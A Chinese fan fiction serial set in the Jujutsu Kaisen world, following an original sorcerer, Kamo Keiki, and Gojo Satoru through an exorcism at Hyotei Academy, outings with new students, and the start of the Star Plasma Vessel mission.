《咒术师小姐今天也路过全世界》
1. 第 1 章
五条悟在等人。
这是在2006年三月中的京都,繁华又古朴的街头。
人群熙熙攘攘。
17岁的五条同学,散漫地靠在车站前的指示牌上。
虽然是春假期间,但他仍然穿着高专黑色的制服。
圆圆的小墨镜从鼻梁上滑下来一点,露出积雪一样的睫毛,和澄澈璀璨到令人迷醉的蓝眼睛。
路过的行人忍不住频频回头看他。
他单手插兜,另一只手飞快地摁着手机键盘,在玩一个像素风格的射击游戏。
哔哔嘟嘟的胜利音效不停地响起,而他还是一脸的百无聊赖。
就在对面的Boss被打到只剩丝血的时候,六眼察觉到了逐渐靠近的熟悉咒力信号。
当即,他管也没管再有一击就能打通的关卡,啪地一声合上了手机。
“好慢啊,琼纪。”
五条悟精神一振,转向不远处穿过人群,缓缓走来的少女。
手机在掌心里抛了两下,他还想抱怨一句,但是走过来的女孩子穿着极华丽的、里白外红的袿衣和小忌衣,长长乌发披散,他的抱怨就变成了大声的嘲笑:“你这是什么打扮啊?这样也能打咒灵吗?一个假期关在加茂家里,脑子坏掉了吗?”
“至少打你还可以。要试试看吗?”
人群视线的另一个中心,女孩子微微冷笑了一下。
她也才17岁,还是尚未长成的少女,但无疑已经漂亮得令人一眼难忘。鸦羽一样的乌发,冷白的肌肤,花瓣般嫣红的唇,色彩对比鲜明到了极致,呈现出一种惊心动魄的稠艳。
这种美丽,就仿佛是深潭之下虹彩和花影凝成了冰,娇艳绚丽又冰冷。
这样的相貌显然是很有距离感的,披在身上的祭祀华服又加重了那种暗郁华美的气氛。
但现在,即便佯作愠怒,但她是见到了同期的好友。所以神态生动,幽紫色的眼睛也闪闪发光。眼角眉梢都是飞扬的意气和活力,让人看着就忍不住想要微笑。
加茂琼纪走到他身边。茜红色、绘满了赤海波星曜家纹的正绢大袖下,一只手提着一个塞满章鱼小丸子、鲷鱼烧和炸串的乱七八糟的袋子,另一只手勾着两杯奶茶。
“不行啊。”
五条悟的蓝眼睛也亮了起来。他兴致勃勃地说着,一边伸手去拿饮料,“琼纪一个月没跟人动手了吧。但是我已经开始研究术式反转了哦?【赫】,那个威力很强的。万一不小心把你弄没了怎么办啊?杰和硝子会哭的。”
“你不哭吗?那我来把你弄哭好了。”
琼纪闲闲地说着,抬手闪过他的动作。然后一脚踩在了他的脚背上。
“哇哦。你有那种趣味吗?”
“没有。想想还有点恶心。所以你不许凑过来!!”
五条悟没捞到饮料。但是琼纪踩到了无限,所以勉强算是打平。
大庭广众之下,两人都没用咒力。五条悟转而去扒装满小吃的袋子,琼纪从善如流地把分量不轻的袋子丢给他了。
他先从里面拿了个鲷鱼烧叼着,然后审视起了其他的零食:“没买松阪的生八桥吗?”
“那种东西你在家还没有吃够吗?”
“那不一样,他们家是开心果奶油味的啊,超级好吃!永井路的可丽饼呢?”
“还没来得及去,这个怪谁呢。”琼纪咬着吸管斜瞥他。
“嗯哼。”
五条悟还挺得意。
琼纪身上这一袭与时代格格不入的古典衣装,是加茂家祭祀时的正装。
本来还有戴在头上的前天冠和垂下来的两条日阴鬘,因为夸张又碍事,一早就被她摘下来,用术式【消蚀】彻底破坏了。
之所以穿成这样,是因为她就是从仪式中跑出来的。
没有什么特别的原因。不如说对她这样从外面买进加茂家的女性来说,在这种垃圾场里度过的每一秒,都是跑掉的理由。
就算她现在已经是一级术师,而且是能和五条悟打平的一级术师——在封建又泥古不化的咒术师大家族里,也只不过是从“被轻视的女人”,变成“送去侍奉嫡子的女人”。
侍奉嫡子——琼纪都忍不住要发笑,加茂家的嫡子宪纪,现在也就六岁。
这种年纪的孩子需要什么侍奉的人啊,他需要的是自己的亲妈。
然而加茂家唯一不肯给他的就是亲妈——娶了侧室生孩子,又看不起人家是侧室,把人赶走、拆散母子,非要说那就是正室的孩子。
总之,拜“侍奉嫡子”所赐,这个春假她见到的垃圾比以前多多了;所以五条悟之前说得不对,这个月里她一点也没有闲着,时不时地就要打一顿护卫嫡子的家主近卫。
也正是因为拥有强大的实力,所以她可以随心所欲地跑出去呼吸新鲜空气。
就算是像今天这样,打断祭祀、破坏仪式,加茂家的老头们再如何震怒,也没有人能拦得住她。
不过出门后还没有玩多久,不知怎么听说了这事的五条悟就打来了电话,兴奋地叫她一起去做任务。
因此她才逛到一半,就不得不来了这里。
“这次出来就不要回去了吧!反正要去东京,做完任务直接回高专就好了。”五条悟很高兴地说。
两人并肩坐在去东京的新干线上,群山绵延的风景从窗外一掠而过。
“唔。”
琼纪想了想。
“有什么可考虑的?老子也一起啊!”
“不如说那更要考虑了吧?而且你什么时候才能改掉这个糟糕的自称啊?”
“哈?!”
要考虑的当然不是五条悟,而是丢在加茂家的行李。
虽然本来放假时也没带多少东西回去,现在想要带走的——银行卡可以补办,衣服也能再买。
一些借嫡子之便,抄写的加茂家传咒术卷轴
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——加茂家当然是很讨厌,可是知识和术式有什么错呢;大部分都还记得,不然抽空回去一趟拿走也可以。
最后她想到了夜蛾布置的假期作业,一笔没写——
“好耶,不回去了。”
琼纪也很高兴地说。
*
抵达东京的时候,辅助监督已经等在车站里了。
05级的学生入学一年以来,高专体系的辅助监督们,对于这一届空前绝后难以管控的四名天才,总结出了最佳应对策略:在还能看得见人的时候把事情交代清楚,然后不要管他们。
所以,说好的五条同学的单人任务,多了一个加茂家和总监会打过招呼、暂时从名单上拿下来不许她出任务的琼纪同学,辅助监督没说什么;她穿得像是个出逃的斋王,辅助监督也视而不见。
……顶多在心里感叹,觉得自己的联想有根有据。
毕竟加茂曾经就写作贺茂,而他们家的贺茂神社,过去皇室确实也要派遣皇女作为斋王在此侍奉……唉,御三家。
辅助监督收敛乱飘的思绪,脸上没有泄露分毫。绷着一副平平无奇的表情,一边开车一边简明扼要地说明任务:“地点是一所高中的音乐社团。”
“原本只是和许多其他中学一样,普通地流传‘深夜自动响起的钢琴’的怪谈。但数月前一名学生社团练习时突发疾病去世,因为不久前在重要比赛中失利,捕风捉影的媒体报道其为自杀。”
“扭曲事实的报导引发流言,与怪谈相合的流言催生咒灵。夜间自动弹奏的钢琴报告了数次目击,为了在开学前排除安全隐患,校方和社团里的知情人士向高专请求了紧急出动。”
后座在用PDA下五子棋的两人里,五条悟头也不抬地问:“评级呢?”
“根据‘窗’的观测,准一级以上。”
琼纪一笑:“学校里有懂行的人啊。”
准一级事件没有出现死者,简直是不可思议。一般到了要他们出动的地步,早就有多名死亡或失踪了。
毕竟高专的任务对接官方,平时都是在事件中发现异常才会报告,又要经过窗和辅助监督多重确认才会交给咒术师。
而这个学校,报告了咒灵迹象的目击,却没有死伤。运用关系请求紧急出动,只是为了“开学前排除隐患”,可以说是非常地态度谨慎、应对迅速。
五条悟懒洋洋地做出了一个“怎样都好”的表情,催她快下下一步。
琼纪手指在屏幕上随意地一点,说:“刚才就想说了。什么学校的音乐社团会被媒体盯上,报道的影响力还能催生准一级?”
“冰帝学园。”
辅助监督说,“东京的一所从幼教部到大学部,直升的一贯制私立名校。”
一贯制的私校,基本上也就是通称的贵族学校了。
“联络我们的,是学园的投资方迹部财团,和音乐社与网球社的指导老师……榊家的人。”
2. 第 2 章
发生咒灵事件的冰帝音乐社,社办所在的教学楼,是一座配备表演用的小礼堂、数十间隔音琴房和录音室的建筑。
从外部来看,是一座相当气派的欧式建筑。
被精心打理的玫瑰花园环抱,主色为白金,外立面甚至像宫殿一样,有着华美的石膏浮雕和庄严的罗马立柱,完全是迹部家的风格。
然而从咒术师的视角,整座楼都被浓重的紫黑色咒力浸透了。尤其是社办所在的第四层某间教室,飘散出格外不详的气息。
琼纪一手搭在额前遮挡日光,抬头看了一眼咒灵气息的中心;又低下头,看了看建筑外的空地上摆放的,新旧不一、夹着信件和卡片的悼念花束。
周围忙碌的现场人员里,有人走过来打招呼。
和穿着警卫制服的人不一样,是一名穿着讲究西装的教师——大概就是那位榊家的委托人,早已世俗化成为大财团的神官家族后人;
和两名穿着校服的高个子男生——国中生的年纪,会出现在疏散过无关者的现场,大约也有些来历。
一个灰紫色头发,一个深蓝色头发,戴着眼镜,此时都正朝他们的方向望来。
不过和委托人沟通,是辅助监督的工作;这次的任务也没有询问相关者的必要。
辅助监督已经过去了,所以琼纪只是礼节性地对他们点了点头。
肩膀上一沉,是头也没回一下的五条悟,把手臂压在了她肩上。
他盯着楼上,语气很愉快:“长得很快嘛,这只假想怨灵。”
“好重啊你。”
琼纪动了动肩膀,试图把他抖下去,“这个咒力量,有一级了吧?”
五条悟纹丝不动。
“那边的咒力流向有点意思。”
他把墨镜往头顶一推,兴高采烈地比划出一个回旋的形状,“搞不好还有生得领域哦!”
“生得领域吗……”
生得领域是内心风景的外化。未达特级的假想怨灵,生得领域还不完整,不过其中规则也该和诞生它的怪谈相关。
琼纪拿出手机按了几下,找到深夜钢琴怪谈的内容——自动弹奏的《致爱丽丝》,听到第四遍就会死。
琼纪:“为什么是《致爱丽丝》,贝多芬的怨气不会产生咒灵吗。”
五条悟:“几百年后的人这么没有礼貌,贝多芬也想不到吧。”
“你来讲礼貌的问题吗,悟?”
“啊,不行吗?”
琼纪用微妙的眼神看他。
“干什么?”
“没什么,你高兴就好。”
琼纪用他的脑门合上手机的翻盖,在“喂!”的声音中,理了理宽大的袖口。
她向后看了一眼,现场人员都退到安全距离外了。于是向辅助监督示意放帐,抬步往建筑里走去:“正好是有时间限制的咒术,赶紧解决掉啦。我想换衣服了。”
*
黑衣白发的少年、红衣乌发的少女。
两名气质独特、仿佛自成一个世界的咒术师,对着咒灵盘踞的大楼说笑了一会,挑开隔离用的黄黑色警戒带,走进建筑里去了。
对面大楼的落地窗前,冰帝网球部的三人,目送他们的背影。
“那就是咒术师吗?”
忍足侑士有点感叹地说,“看起来像是高中生前辈的样子。”
而且能够那样自如地说笑,显然是相当自信。家里开在关西的医院,大多请了咒物镇守的忍足,对咒灵稍微有些了解。
他听说过,音乐社的咒灵是准一级,那已经是非常危险的存在了。
“请放心。”
放完帐过来的辅助监督说,“虽然还是学生,但五条同学和琼纪同学都是相当优秀的一级咒术师。”
“术师等级高于咒灵,由他们两人祓除一只一级咒灵,是不会有问题的。”
这是对委托人负责的话语,同时也是在为自家咒术师过分轻松的态度说话。
“五条……”
榊太郎询问地看了他一眼,“我听说过这个姓氏。”
“是的,是您想的那一家。五条同学继承了完整的家传,那一家都在等待他成为未来的当主呢。”
“另一位呢?刚才听到的,''蛋糕(Keki)''……是不方便透露姓名吗?”
“不,是琼纪(Keiki),八咫琼勾玉,赤玉的琼字。”
辅助监督迟疑了一下,说,“姓氏的话,是加茂……”
加茂,也是听过的姓氏。
在听咒术界科普的时候,还听过这样简单易懂的对比——差不多就是咒术界的迹部和铃木。
……不过如果用姓氏称呼琼纪同学,她会装作没有听见。
辅助监督这么想着,稍稍正色,用敬重的态度说:“但是和姓氏无关。单凭能力而论,两位同学在我们的体系里,都已经是大将级别的人物了。”
“就算是再有级别更高、更紧急的事态,能出动的最高战力,也是以他们为首。”
“轰隆——”
正说话间,对面的大楼里,突然传来了一声巨响。
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辅助监督惊愕地转头望去。
他设下了隔绝动静的“帐”,也没有感觉到咒灵被祓除而自然解除,本来是不该有动静传出来的。
但落入他眼中的场景——漆黑的帐被打穿了,破开了一个空洞。幽紫色的咒力光点,从那里星星点点地飘出。
继而帐开始破裂,像是被溶解了一样,在空中化为一块块残破的胶片。边缘缓缓地翻卷、向内侵蚀,直至消散。
“啊……”
这很明显是【消蚀】术式的效果,咒力也确实是加茂琼纪的咒力。
辅助监督头疼地按了按太阳穴。
他听同僚们说过,曾经也发生过这样的事——破坏力极端强大的【消蚀】,祓除咒灵时把帐也一起打穿了。
这时候的解决方法是……
——不要管他们。
“……”
这行吗,委托人还在旁边啊。
那边那个迹部家的继承人,都已经露出了好像能看穿一切的非常锐利的眼神了!
然而远处的动静还未结束。
紫色逸散的星点、黑色翻卷的残片后方,白金色华美建筑的四楼,墙体上被开了一个大口。
砖瓦与玻璃的碎片纷纷落下,在阳光中闪闪发光。
嚎叫着的巨大咒灵从洞口向外奔逃,身体一半消失,断口缠绕着咒力,蠕动着生长出来。
“听、听、听我弹……”
它口中这么叫着。
就在咒灵越过洞口的那一刻,一席迤逦的红衣出现在它的后方。
“好好。”
少女漫不经心。
她伸出一根纤细的手指,点在咒灵身上,说:“切歌。”
夜昙一般幽紫色的咒力,顺着手指流淌过去。
“咯……”
咒灵的动作突兀地卡在了半空中。
轰地一声——紫色的火焰燃起,将它全部包裹住。
跃动的紫焰燃尽了咒灵的外显形体,向中央逐渐缩小。
最终在中心留下极其浓烈、近似于黑,甚至泛着诡异彩光的一小团。
闪亮的玻璃碎片飞散在风中,在靠近少女的瞬间被消融殆尽。
烈风扬起她比玫瑰更红、血一样的衣摆,与沉黑的、鸦羽般的长发。
冷艳的少女站在风里,垂下眼眸,注视那被凝练的紫色咒力困锁在中央的一小团咒灵玉,落入自己摊开的掌心。
在看不见咒灵的人的眼中,就像是她从空无一物的空气里,接住了一颗色彩奇异的水晶。
3. 第 3 章
“你说冰帝那边的委托人托你表示感谢……”
东京咒高极有年代感的教学楼,色泽陈旧的和式办公室里,05级四名学生的班主任夜蛾正道,谨慎地询问电话的另一边,
“是为了什么?”
“因为祓除咒灵的同时,两位同学很好地照顾了那边的学生们的心意。”
“……用打穿了一层楼的方式吗?”
“……用''事先在学生们送去悼念逝去同学的花束和信件上设了结界,祓除过程中连楼都拆了也没有损毁它们''的方式。”
“……啊。”
“那边的迹部同学说,”辅助监督麻木地转达,“金钱上的一点损失算不了什么。心意得以保全才是最可贵的。”
夜蛾正道:“……”
上一个毫不在意地把楼轰塌然后让他把维修账单寄去家里的人还是五条悟。
挂掉电话以后,夜蛾正道陷入沉思。
已经习惯了学生们闹出大事、有人来抱怨的夜蛾正道,冷不丁得到了这么有人情味的反馈,忍不住大为感动。非常欣慰。
……不,造成了严重破坏,也确实闹了一点大的……但是总归还是很应该表扬一下!
他推开窗户向外看。
他的两个很应该表扬一下的学生,此刻正在训练场上打棒球。
穿着简单的练功服。悟摘了墨镜,琼纪把头发扎成了高马尾。两人都没戴棒球手套。
球棒是从忌库里拿出来的咒具。在空中飞来飞去的小球,是那天带回来的,裹着琼纪咒力的咒灵玉。
夜蛾正道想起那天,悟和琼纪做完任务回来,碰见他的时候,是这么说的——遇到了带着领域的咒灵,所以打包回来给杰吃。
“不要说得跟剩饭一样。”
夜蛾说。
可以收服咒灵为己用的咒灵操使夏油杰,目前还在岩手县的老家,一周后开学了才会回来;同期的另一名女生家入硝子也还在神奈川的家里。
也就是一年级生,才有这样相对完整的假期了。
夜蛾嘱咐一句:“记得把咒灵关好,跑出来会引发警报。”
“好哦!”
两个学生心情很好地说。
此刻,夜蛾正道站在窗前,俯视着从训练场一端,飞到另一端的蕴含着强大能量、紫中泛黑的小球,额头隐隐迸出青筋。
琼纪挥棒。飞向她的小球,被她一下抽飞出去。
球棒和球接触的一瞬间,咒具上印刻的术式被激发,发出一声音爆般的炸响,掀起的气流将外围的树木吹得向后歪斜。
紧接着风声一响,五条悟出现在了球的落点,训练场的另一边。
他伸出手接住球,携带着消蚀术式的外壳,一层层地消融着他堆叠在手心的无下限术式。幽紫色和冰蓝色的咒力相撞,溅射出闪烁激烈的火花。
夜蛾正道:“……”
五条悟掂着球,火花刺啦刺啦。
他大笑:“哈哈哈哈哈哈!”
琼纪在另一边催他:“快点扔过来啦。”
“来了来了——”
五条悟做出了非常标准的投手姿势。标准到让人怀疑五条家教育神子用的不是咒术典籍,而是棒球比赛录像带。
夜蛾正道就这么沉默地看着小球在空中又飞了几个来回。
夜蛾:消蚀是双向的吧。里面的咒灵还活着吗?
然后他就看到五条悟停了下来,捏着小球,在滋滋作响的声音里,对着光看了看。
“啊。”他说,“不行,快用完了。”
“用来中和消蚀的''落花之情''吗?”
落花之情,御三家内部代代相传的对领域秘术。属于一种简易领域,用来中和消蚀的破坏力,保护内部的咒灵,效果绝佳。
琼纪走过去说:“打开来再补一层就是了。”
她伸出手,虚掩在五条悟拿着球的右手上方,运转咒力打开了外壳,露出磨损殆尽的简易领域内部,萎靡不振的咒灵核心。
——下一秒,高专响起了刺耳的警报声。
夜蛾正道:“…………”
加茂琼纪和五条悟,两人睁着纯洁的大眼睛,面面相觑。
五条悟小声说:“夜蛾在看我们耶。”
琼纪:“啊哦。”
“悟!琼纪!”
夜蛾正道一声暴喝响彻高专,“你们两个给我上来!!”
*
“真是的,那个大叔。”
三小时后,五条悟顶着脑袋上的包,蹲在东京市中心的马路边碎碎念:“审美差劲的大叔。黑.道大
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叔。可恶的大叔。”
琼纪交叠双腿坐在旁边的路桩上,支着下巴,适时地为他注解:“这是在说我们的班主任夜蛾老师。”
两名拿着行李包的少年站在他们对面。
一个一头金发,五官深邃。一个黑发,眼睛圆圆,看起来十足纯良。
金发的那个看着他们,露出了“前辈怎么是这样这学校真的靠谱吗要不还是回去读普通高中吧”的怀疑人生的表情。
而黑发的少年,眼睛闪闪亮亮全是好奇,热情洋溢地说:“听起来好酷!”
金发的新生看了一眼自己的同期,表情更沉重了。
视线在他的头顶飘来飘去,五条悟不爽地从地上蹦了起来。
“而且,”他愤愤指责,“为什么夜蛾只揍老子啊?咒灵是你放出来的吧?”
“也是我关起来的啊。”琼纪说,“揍你是因为你笑太大声了吧。”
“偏心大叔。”
“好啦好啦。这不是让我出来接新生了吗?”
“老子也一起来了啊?”
“那把你一个人丢在高专会高兴一点?”
“不要,我也要出来玩。”
被前辈接到的新生七海建人:所以这是在惩罚谁?
“所以。”
七海建人叹了口气,说,“这就是我们出现在游戏厅门口的理由吗?”
他们站在路边,三月的春光从头顶照耀下来。
也照亮了四人身后,大大的、彩色的游戏厅招牌。
“不要小看游戏厅。这里可是测试和锻炼反应力、策略性、身体素质和运动能力的绝佳场所哦。”
“要做咒术师这些都必不可少。在入学前和可靠的前辈一起评估自己的能力,很不错对吧?”
两名二年级前辈一唱一和。
“是这样啊!很有趣的样子!”
一年级新生灰原雄发自内心地捧场,“谢谢前辈!”
“……是这样才怪啊。”
一年级新生七海建人发自内心地感到疲惫,“根本就是前辈们自己想玩而已吧……”
“七海不玩吗?那你看行李。”
“这算是来自前辈的霸凌了吗。我玩。”
“好耶。老板这边寄存行李。要四人份的游戏币。”
4. 第 4 章
“这就是你们那天拍的照片吗?”
沿街的家庭餐厅,靠近落地窗,明亮的横排座位。
两名穿着黑色制服的少女并肩坐着,宽大的高领口显得肩颈修长纤细,漩涡纹路的金色扣子闪着光。
棕色短发、眼下一点泪痣的家入硝子,叼着一根没点燃的香烟,饶有兴趣地挨个翻看散乱在桌面上拍好不久的大头贴。
出镜的四个人里,琼纪和五条悟还是人模人样,两名新生的脸上却都被加满了游戏厅新进机器花里胡哨的时髦特效。
灰原雄一脸高兴,非常适应;七海建人一张臭脸,生无可恋。
家入硝子评价道:“七海看起来一出门就会把它们烧掉。”
和她挨着的高脚椅上,琼纪单手托腮,闷笑:“所以照片都被我拿走了。”
她伸手在相片里翻了翻,挑出一张有着皮卡皮卡闪亮大眼睛浓密卷翘睫毛的七海建人,问硝子:“这张怎么样?”
硝子问:“做什么?”
“新生要做学生证了。”
“七海明天就退学。”
“那算了,灰原会哭得很大声。”
琼纪说着,撕开背胶,啪地一下把相片贴在了面前空白的任务报告上,“送给夜蛾。”
“夜蛾恐怕也会觉得被诅咒了吧。”硝子说,“不过和他的咒骸倒是很相配,说不定他会喜欢。”
“没有关系。反正不是我的报告。”
“那是谁的?”
“是悟和杰带新生上实践课的报告啊。这就写上他们的名字。”
“那没事了。”
家入硝子安心地去摸打火机。
这时候门上的铃铛叮呤一响,四个去做实践任务的男生回来了。
四人都穿着黑漆漆的制服,身材又很高大。陆续进门的时候像是乌云过境,餐馆里的光线几乎被挡去一半。
店里坐着的许多人都抬头看过去。
走在最前面的是五条悟,手插在口袋里,扬着头也不看路,走过来大马金刀地一下在她们身边坐下了。
一只脚踩在高脚椅的横杠上,另一条腿随意地伸直。背脊抵着桌沿,毛茸茸的白色脑袋后仰,探过来看她们在做什么。
接着是两个筋疲力尽的一年级生,衣服沾着灰尘,脸上有擦伤,头发也乱了。
无论是活力十足的灰原还是严谨的七海,现在都是灵魂出窍的样子,眼神恍惚,甚至没能注意到学姐们面前摆了满桌自己的脸。
摇摇晃晃地走进来,勉强地打了个招呼,就倒进旁边的卡座里闭上了眼睛。
模样很凄惨,两个女生都转过去看他们。
家入硝子走过去,拨开他们的眼皮检查了一下,宣布:“活着。”
“怎么会死啊!”
五条悟在后面不满地叫道,“老子和杰都在啊?”
夏油杰最后一个进来。丸子头扎在脑后,面上含笑,宽大的裤腿晃晃荡荡。
他先拐去了饮品台那里,回来的时候拿着一个托盘,放了六人份的饮料;路过卡座的时候把两瓶大众口味的乌龙茶放在瘫倒的一年生面前,然后慢悠悠地往窗边来。
跨过五条悟挡路的腿时,两人在方寸之间互相踹了对方几脚。
那一边硝子运转术式,在七海和灰原身上一人碰了一下。在卡座沙发的遮挡下,两人脸上的伤口都以肉眼可见的速度愈合。
她走回来对琼纪说:“还可以,没受多少伤。咒力耗尽了。”
“都很努力呢。”
琼纪把柠檬茶传给她,接过五条悟推过来的抹茶牛奶,问道,“任务怎么样?”
“没怎么。”
五条悟单手打开了草莓汽水的瓶盖,兴趣缺缺地说,“一只准二级而已,跑得快了点。怎么就要抓那么久啊?太弱了吧。”
“才刚入学啊。”
刚吸收完咒灵,夏油杰自己只拿了一杯纯茶,放在手里转,“不要对后辈太苛刻了,悟。”
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“这也算苛刻?入学前也没人教你和琼纪咒术啊。还不是照样能祓除一级。”
“我们不一样。”夏油杰泰然自若地说,“我们太强了。”
五条悟看起来很接受这个说法。
“也是。”他说,“学过的人也有歌姬那样的呢。”
“也不能这么比较。七海的术式很不错,灰原的咒力也还有很大的潜力。”
“每次听他们两个说话,”
琼纪对硝子说,“我就觉得自己还是很有常识的。”
硝子:“还是有一句话说对了。不能跟人渣比较啊,琼纪。”
“喂,琼纪,硝子……”
“哪一句话说错了倒是说说看啊?”
“笨蛋不要讲话,吵到小孩睡觉了。”
“和笨蛋说话会被传染哦。”
“这是医学生该说的话吗……”
“医学常识难道适用你们吗。”
四人吵吵闹闹地喝着饮料。过了一会琼纪想起来一件事,从口袋里摸出一个东西丢给夏油杰。
“杰。”她说,“给你的。”
“谢谢。这是什么?外面还包着封印咒符。”
“打包的剩饭。”
夏油杰:“……”
五条悟把脸埋进手掌里大笑起来。
“夜蛾说的。”
琼纪坦然地甩完锅,把菜单拿到了面前,“该点餐了吧。午饭吃什么?”
“海鲜意面看起来不错呢。”
……
四人点餐、顺便也给睡着的两个后辈点的时候(“两份儿童套餐。”“七海真的会退学的。”“但是送暗夜男爵的手办诶。”“我也想要!给杰也点一份。”“悟,你想都不要想。”)。
后排的一名戴着眼镜、唇上蓄着胡须的小说家,收回感兴趣的视线,微笑着折起没怎么看的报纸。
《暗夜男爵》系列的作者工藤优作本人心想:新连载的主角就定为高中生吧。
5. 第 5 章
两周后,接近满月日的一天,当七海建人和灰原雄找到加茂琼纪时,她坐在高专后山的湖边,一块陡峭的石头上。
手里捏着半片泛着翠色的羽毛,长发从脸颊一侧垂落,瀑布般沿着肩臂流淌下来。眼神凝在虚空中的一点,仿佛在沉思。
周身的咒力如水波般一圈圈荡漾出去。自远处满开的樱林中翩飞而来的花雨,在落入湖心前,就在她的咒力中如雪一般消融了。
湖面上始终倒影着苍蓝色的、一望无际的晴空。
这样的情景令人难以打扰。而这无害、甚至唯美的画面中所隐藏的力量与威势,也使人不敢贸然接近。
还是琼纪先发现了两人的到来。她从沉思中回过神来,转头微微一笑:“怎么了?”
“……”
正经人七海转述了教师的委托,“夜蛾先生说有一个重要任务,找您过去。”
与此同时灰原兴致勃勃地问:“琼纪学姐在做什么?”
“你猜。”
学姐拢了一下头发,从石头上跳下来。羽毛从她的指间飘落,而她落地的动作也和羽毛一样轻盈无声。
她含笑说,“猜对了有奖励。”
明明是被人找了过来,她很洒然地就走在了前面,向山下走去。
“哇!”
灰原像一只热情的小狗一样紧紧跟了上去,高兴地说,“太棒了吧!”
“咒术训练那种宽泛的猜测不算哦。”
“咦!那好难啊!”
“所以才有奖励。”
“嗯……攻击形态和范围的自由延展?”
“那个早就能做到啦。”
“是术式自动化吗?”
“从悟那里听来的吧?这是他的课题哦。”
“总不会是领域展开吧?”
“这个还是超前了一点,感觉中间还有一步。”
“呜……”
灰原七歪八倒地皱着眉,苦思冥想。
离领域展开只有一步……
走在后面的七海说:“前辈们这种规格的咒术训练,要猜准根本没可能吧。”
琼纪回头看他一眼,戏谑地说:“那七海猜对了也没有奖励。”
“我明天会因为左脚先踏入高专被开除吗。”
“听起来还是很想要奖励的嘛。猜猜看?”
七海叹了口气。回想了一下湖边被咒力冲刷仍然完好无损的岩石,说:“是术式对象的筛选吗?”
“差一点就对啦,那个是上周完成的。太可惜啦七海海。”
“……您的恶趣味已经足够多了,这种糟糕的称呼就不要和五条前辈学了吧。”
七海又叹了一口气,说,“前辈在入学前,也没有学习过咒术吗?”
这个问题多少有点突然,不过琼纪的神情里有一点明了。
她先回答了这个问题:“一些咒术常识还是知道的。不过确实没有系统学习过。”
加茂家因为神道与阴阳道的传承,即使在御三家里也是最为崇古的。生活在那样连空气都被结界过滤过的家族,很难不了解到一些咒术常识。
但更多的当然就没有了,加茂家买她回去,又不是看中她的成长性。只是想要将消蚀术式融入嫡支的血脉,希望未来家族里能生下融合了消蚀破坏力的赤血操术而已。
她和杰,都没有在入学前真正学习过咒术。入学前他们各有各的迷茫,缠绕他的是对自身的困惑,而缠绕她的,是来自外界、系统性的恶意,腐朽的空气。
迎面而来带着幽香的风,拂过她的脸颊。琼纪在春风中向前走,说:“是从悟和杰那里听来的吗?”
她没等七海回答,又道:“如果从他们那里听见了什么糟糕的话,不要放在心上。”
“……”七海说,“您是指哪一句?”
“七海海虽然绷着一张脸,但是很会开玩笑呢。”
“并没有在开玩笑。”
“就是这点最好笑啊。”
“……”
“刚开始学习咒术就能够祓除二级,已经很出色了。”
灰原雄露出虽然不知发生何事,但被夸奖了还是很高兴的闪亮表情。
“如果是说这个的话,”
七海说,“前辈们在力量上是绝对的上位。虽然是自我中心的发言,也只是客观的评价。不过谢谢琼纪前辈关照我们的心情。”
“七海再说一遍吧,我要录下来。”
“我收回那句话。”
“都已经听见了哦?”
“对于失误的代价就是性命的行业,谈个人感受太自以为是了。”
“不能这么说。”女生态度轻松地应对,“毕竟咒力的根源就是情感,自身的感受是很重要的。”
“……”
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“所以你们两个都是,有不开心的事要说出来。”
“我很开心哦前辈!七海很好,前辈们也很好!高专的米饭也超级好吃!”
“灰原喜欢米饭啊?”
“是的!非常喜欢!”
“是这样的话,请前辈把那天拍的照片烧掉。”
“烧掉活人的照片,在咒术上有不好的含义。”
“真的吗。”
“真的。而且这样我会不开心。”
“后面那才是重点吧。”
琼纪笑而不语。
三人沿着树荫掩映的校道,一路走到了教学楼怀旧风格的连廊前。不远处的一扇和纸拉门后,传出了吵吵闹闹的说话声和训斥声。
很快有人刷地一下拉开了格子窗,从里面探出来几个脑袋,兴高采烈地朝她招手,喊她过去。
“好啦。谢谢你们来叫我。”
她回过头一笑,说,“下次请你们喝饮料。”
“噢!”
灰原兴致高昂地应道。
学姐摆摆手,很潇洒地走了。
灰原看着她的背影,忍不住说:“琼纪前辈真是很有风度啊。”
“虽然是任性的人……没法反对。但感觉你在说的,应该是气度吧。”
“嗯?分不清!——咦七海!”
“怎么。”
“最后也还是不知道前辈刚才在做什么啊!”
“你才想起来啊。”
“嘿嘿……”
少年的交谈声在风中飘散。
吹拂过他们头顶枝叶的风,穿过高专错落白墙间的甬道,沿着古朴石板铺就的道路,一路向上,拂动落在碧蓝湖面上的粉色樱花,和湖边崎岖的岩石上,一片完整的翠色羽毛。
翠羽的边缘,波动着不规则的淡金色光点,如同咒力的呼吸。
呼吸在风中颤动。而后眨眼间,金色光芒倏然崩解。
原地空无一物,岩石上只余落花。
*
琼纪走进教室,在同期之中坐下。听见夜蛾正道说:“天元大人的同化时间到了。”
“同化的适格者星浆体少女,面临两个组织的追杀。”
班主任的表情少见地有点沉重:“天元大人指名你们四个人,去完成这项任务——”
“保护星浆体免遭杀害,并将她带回高专抹杀。”
6. 第 6 章
“豪华阵容啊。”
城市高塔的落地玻璃前,望着远处公寓楼飘起的黑烟,伏黑甚尔懒洋洋地说。
那是星浆体天内理子的所在地。盯上她的两个组织之一,“Q”的诅咒师,已经率先发动了袭击。
但显然,被人阻止了。
与旁边西装革履的中介人不同,被称作“术师杀手”、“天与暴君”的男人,穿得非常随便。
松垮的衣服领口隐隐约约,遮掩不住他精壮的身躯,和没有一丝赘余,蕴含恐怖力量的肌肉线条。
这用全部咒力与天交换的肉.体,眼睛也与众不同。
就连现下这常人必须以望远镜才能观测的距离,公寓上下此刻的景象,也清清楚楚地印在了他的双眼之中——
向上,墙体破裂的公寓高层里,诅咒师躺了一地。
小个子的星浆体半躲在一个头发很长的女生的身后,指着对面的丸子头男生,一脸精神地叫嚷。
向下,高楼前的空地上,白发的小子竖起手指停住无数利刃,后面棕色头发的女生坐在花坛边,满脸无聊地玩手机。
“灭星,咒灵操使,六眼。”
他一个个地数过去,“加上一个天生的反转术式。这不是全员出动吗,太搞笑了吧?”
“对工作来说可不好笑啊。”
中介人孔时雨问,“你怎么说?盘星教暗杀星浆体的委托。”
“这个啊……”
伏黑甚尔的视线仿佛漫不经心一般,在战斗中的五条悟身上多停留了片刻,又轻飘飘地滑过楼上,好整以暇看戏的加茂琼纪。
“不干吗?给这个数。”
孔时雨比了个手势。
“得加钱。双倍我就干。”
“喂喂……”
“那可是六眼。加茂家的那个,术式也有够麻烦。”
伏黑甚尔把手搭在后颈上,活动了一下脖子,“而且还带着医生——总监部最近就没什么快死的老头吗?”
“有啊,不就是天元。”
“哈。”
